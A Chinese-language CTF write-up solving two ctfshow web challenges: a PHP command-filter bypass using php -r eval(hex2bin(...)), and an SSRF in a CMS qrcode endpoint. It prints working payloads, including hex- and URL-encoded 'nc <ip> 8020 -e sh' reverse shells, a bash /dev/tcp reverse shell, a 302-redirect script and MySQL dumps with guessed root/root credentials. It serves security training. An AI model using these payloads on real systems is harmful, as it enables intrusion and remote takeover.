前言 内部靶场暂时用不了了,找些近几年比赛的题目看看。
simple_php 1 2 3 4 5 6 7 8 9 10 11 12 13 14 <?php ini_set ('open_basedir' , '/var/www/html/' );error_reporting (0 );if (isset ($_POST ['cmd' ])){ $cmd = escapeshellcmd ($_POST ['cmd' ]); if (!preg_match ('/ls|dir|nl|nc|cat|tail|more|flag|sh|cut|awk|strings|od|curl|ping|\*|sort|ch|zip|mod|sl|find|sed|cp|mv|ty|grep|fd|df|sudo|more|cc|tac|less|head|\.|{|}|tar|zip|gcc|uniq|vi|vim|file|xxd|base64|date|bash|env|\?|wget|\'|\"|id|whoami/i' , $cmd )) { system ($cmd ); } } show_source (__FILE__ );?>
代码审计,咋一看全部过滤了,而且还有个escapeshellcmd:
1 反斜线(\)会在以下字符之前插入:&#;`|*?~<>^()[]{}$\、\x0A 和 \xFF。 ' 和 " 仅在不配对儿的时候被转义。在 Windows 平台上,所有这些字符以及 % 和 ! 字符前面都有一个插入符号(^)
但是这里php没有被过滤,所以可以利用 php -r 来执行php语句。比如?cmd=php -r phpinfo();
可以发现这里成功执行了phpinfo(),虽然() 被转义了,但是到了system那里还是被执行了。接着尝试php -r echo 666;看能否输出 666,发现是不行的。因需要带上引号。即php -r 'echo 666;'; ,但这里的引号被过滤了。为啥phpinfo()可以不用带引号?
phpinfo() 作为一个函数调用,PHP CLI可以正确解析,而 echo 是一个语言结构,不是函数,所以在命令行中需要更严格的语法.
我们找函数来执行,这里的eval是没有被禁用的,针对过滤的那些关键字,我们可以用编码绕过,比如hex2bin,但是这里的hex2bin里面得是字符串类型才行,直接传数字会报错,所以需要转换一下,这里可以用substr,可以对接受的参数转成字符串。比如substr(1221312,0,1)
我们可以先把echo 666; 进行bin2hex编码一下:
1 2 php > echo bin2hex("echo 666;"); 6563686f203636363b
所以我们传过去的poc:?cmd=php -r eval(hex2bin(substr(_6563686f203636363b,1))); 因为是从1开始截取,所以前面填充了一个垃圾字符。
反弹Shell 可以发现成功执行。所以这里我们可以尝试反弹shell:
1 2 bash -i >& /dev/tcp/ip/port 0>&1 nc vps.ip vps.port -e sh
这里ctfshow的环境没有bash,所以用nc
1 2 php > echo bin2hex("`nc 220.203.23.131 8020 -e sh`;"); 606e63203232302e3230332e32332e3133312038303230202d65207368603b
POST传?cmd=php -r eval(hex2bin(substr(_606e63203232302e3230332e32332e3133312038303230202d65207368603b,1)));,然后vps上nc -lvp 8020 监听8020端口:
可以发现成功弹到shell
这个题目有点坑,它的flag是在数据库里面的,这里的数据库账号密码靠猜,root/root
mysql -uroot -proot -e "show databases;"
1 2 3 4 5 6 7 8 9 10 11 12 Last login: Wed Jan 14 14:38:39 2026 from 172.104.59.44 root@ecs-64dx:~# nc -lvp 8020 Listening on [0.0.0.0] (family 0, port 8020) Connection from 124.223.158.81 39831 received! mysql -uroot -proot -e "show databases;" Database PHP_CMS information_schema mysql performance_schema test
mysql -uroot -proot -e "use PHP_CMS;show tables;",得到如下结果: Tables_in_PHP_CMS F1ag_Se3Re7
mysql -uroot -proot -e "use PHP_CMS;select * from F1ag_Se3Re7;";,得到如下结果: id flag66_2024 1 ctfshow{e2b2e941-849b-4f33-890e-085d4cc05c06}
编码 就不反弹shell,而是直接执行数据库语句拿回显也是可以的,
1 2 php > echo bin2hex("echo`mysql -uroot -proot -e 'use PHP_CMS;select * from F1ag_Se3Re7;';`;"); 6563686f606d7973716c202d75726f6f74202d70726f6f74202d652027757365205048505f434d533b73656c656374202a2066726f6d20463161675f5365335265373b273b603b
POST传cmd=php -r eval(hex2bin(substr(_6563686f606d7973716c202d75726f6f74202d70726f6f74202d652027757365205048505f434d533b73656c656374202a2066726f6d20463161675f5365335265373b273b603b,1)));
session包含 easycms 题目描述:
1 2 3 4 5 6 7 8 9 简单的cms,可以扫扫看? 提示1: /flag.php: if($_SERVER["REMOTE_ADDR"] != "127.0.0.1"){ echo "Just input 'cmd' From 127.0.0.1"; return; }else{ system($_GET['cmd']); } 提示2:github找一下源码?
这个题目是打ssrf,根据提示下载源码,Library/Api.php 的dr_catcher_data方法:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 function dr_catcher_data ($url , $timeout = 0 , $is_log = true , $ct = 0 ) { if (!$url ) { return '' ; } if (strpos ($url , 'file://' ) === 0 ) { return file_get_contents ($url ); } elseif (strpos ($url , '/' ) === 0 && is_file (WEBPATH.$url )) { return file_get_contents (WEBPATH.$url ); } elseif (!dr_is_url ($url )) { if (CI_DEBUG && $is_log ) { log_message ('error' , '获取远程数据失败[' .$url .']:地址前缀要求是http开头' ); } return '' ; } if (function_exists ('curl_init' )) { $ch = curl_init ($url ); if (substr ($url , 0 , 8 ) == "https://" ) { curl_setopt ($ch , CURLOPT_SSL_VERIFYPEER, false ); curl_setopt ($ch , CURLOPT_SSL_VERIFYHOST, true ); } if ($ct ) { curl_setopt ($ch , CURLOPT_HTTPHEADER, array ( 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:40.0)' . 'Gecko/20100101 Firefox/40.0' , 'Accept: */*' , 'X-Requested-With: XMLHttpRequest' , 'Referer: ' .$url , 'Accept-Language: pt-BR,en-US;q=0.7,en;q=0.3' , )); curl_setopt ($ch , CURLOPT_USERAGENT,'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.13) Gecko/20080311 Firefox/2.0.0.13' ); } curl_setopt ($ch , CURLOPT_HEADER, 0 ); curl_setopt ($ch , CURLOPT_RETURNTRANSFER, 1 ); curl_setopt ($ch , CURLOPT_FOLLOWLOCATION, 1 ); $timeout && curl_setopt ($ch , CURLOPT_TIMEOUT, $timeout ); $data = curl_exec ($ch ); $code = curl_getinfo ($ch ,CURLINFO_HTTP_CODE); $errno = curl_errno ($ch ); if (CI_DEBUG && $errno && $is_log ) { log_message ('error' , '获取远程数据失败[' .$url .']:(' .$errno .')' .curl_error ($ch )); } curl_close ($ch ); if ($code == 200 ) { return $data ; } elseif ($errno == 35 ) { } else { if (!$ct ) { if (preg_match_all ('/[\x{4e00}-\x{9fa5}]/u' , $url , $mt )) { foreach ($mt [0 ] as $t ) { $url = str_replace ($t , urlencode ($t ), $url ); } } if (strpos ($url , ' ' )) { $url = str_replace (' ' , '%20' , $url ); } return dr_catcher_data ($url , $timeout , $is_log , 1 ); } elseif (CI_DEBUG && $code && $is_log ) { log_message ('error' , '获取远程数据失败[' .$url .']http状态:' .$code ); } return '' ; } } if ($timeout && function_exists ('stream_context_create' )) { $opt = [ 'http' => [ 'method' => 'GET' , 'timeout' => $timeout , ], 'https' => [ 'method' => 'GET' , 'timeout' => $timeout , ] ]; $ptl = substr ($url , 0 , 8 ) == "https://" ? 'https' : 'http' ; $data = file_get_contents ($url , 0 , stream_context_create ([ $ptl => $opt [$ptl ] ])); } else { $data = file_get_contents ($url ); } return $data ; }
这里基本上没有任何防护,直接执行curl_exec($ch),而这里的$ch 可控,所以我们只需要找到哪里调用了这个函数,再结合前面的提示/flag.php就可以打SSRF
可以发现qrcode函数里面调用了dr_catcher_data:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 public function qrcode ( ) { $value = urldecode (\Phpcmf\Service ::L ('input' )->get ('text' )); $thumb = urldecode (\Phpcmf\Service ::L ('input' )->get ('thumb' )); $matrixPointSize = (int )\Phpcmf\Service ::L ('input' )->get ('size' ); $errorCorrectionLevel = dr_safe_replace (\Phpcmf\Service ::L ('input' )->get ('level' )); require_once CMSPATH.'Library/Phpqrcode.php' ; $file = WRITEPATH.'file/qrcode-' .md5 ($value .$thumb .$matrixPointSize .$errorCorrectionLevel ).'-qrcode.png' ; if (!IS_DEV && is_file ($file )) { $QR = imagecreatefrompng ($file ); } else { \QRcode ::png ($value , $file , $errorCorrectionLevel , $matrixPointSize , 3 ); if (!is_file ($file )) { exit ('二维码生成失败' ); } $QR = imagecreatefromstring (file_get_contents ($file )); if ($thumb ) { if (stripos ($thumb , 'phar://' ) !== false ) { exit ('图片地址不规范' ); } elseif (filter_var ($thumb , FILTER_VALIDATE_URL) !== false || file_exists ($thumb )) { $img = getimagesize ($thumb ); if (!$img ) { exit ('此图片不是一张可用的图片' ); } $code = dr_catcher_data ($thumb ); if (!$code ) { exit ('图片参数不规范' ); } $logo = imagecreatefromstring ($code ); $QR_width = imagesx ($QR ); $logo_width = imagesx ($logo ); $logo_height = imagesy ($logo ); $logo_qr_width = $QR_width / 4 ; $scale = $logo_width /$logo_qr_width ; $logo_qr_height = $logo_height /$scale ; $from_width = ($QR_width - $logo_qr_width ) / 2 ; imagecopyresampled ($QR , $logo , (int )$from_width , (int )$from_width , 0 , 0 , (int )$logo_qr_width , (int )$logo_qr_height , (int )$logo_width , (int )$logo_height ); imagepng ($QR , $file ); } else { exit ('图片地址不规范' ); } } } ob_start (); ob_clean (); header ("Content-type: image/png" ); $QR && imagepng ($QR ); exit ; }
// $code = dr_catcher_data($thumb); 这里的thumb参数可控,于是可以SSRF了
payload:
https://841d51dd-7126-40fa-9248-d03371b30950.challenge.ctf.show/index.php?s=api&c=api&m=qrcode&thumb=http://127.0.0.1/flag.php?cmd=nc 220.203.23.131 8020 -e sh &text=1&size=80&level=1
不过这里的thumb参数的值需要url编码一下。最终的payload:
1 https://841d51dd-7126-40fa-9248-d03371b30950.challenge.ctf.show/index.php?s=api&c=api&m=qrcode&thumb=%68%74%74%70%3a%2f%2f%31%32%37%2e%30%2e%30%2e%31%2f%66%6c%61%67%2e%70%68%70%3f%63%6d%64%3d%6e%63%20%32%32%30%2e%32%30%33%2e%32%33%2e%31%33%31%20%38%30%32%30%20%2d%65%20%73%68%20&text=1&size=80&level=1
然后再vps上面进行监听8020端口,可以发现反弹成功。
这里也放一个302跳转的脚本:
1 2 3 4 5 <html> <?php header ("Location:http://127.0.0.1/flag.php?cmd=nc%20220.203.23.131%208030%20%2De%20sh" );?> </html>
然后再服务器上面的 /var/www/html 目录下开启web服务:python3 -m http.server 8010
同样的我们服务器监听8020端口,nc -lvp 8020
然后payload改下:
https://841d51dd-7126-40fa-9248-d03371b30950.challenge.ctf.show/index.php?s=api&c=api&m=qrcode&thumb=http://220.203.23.131:8010/302.php &text=1&size=80&level=1
同样的url编码下,打过去就可以弹shell了。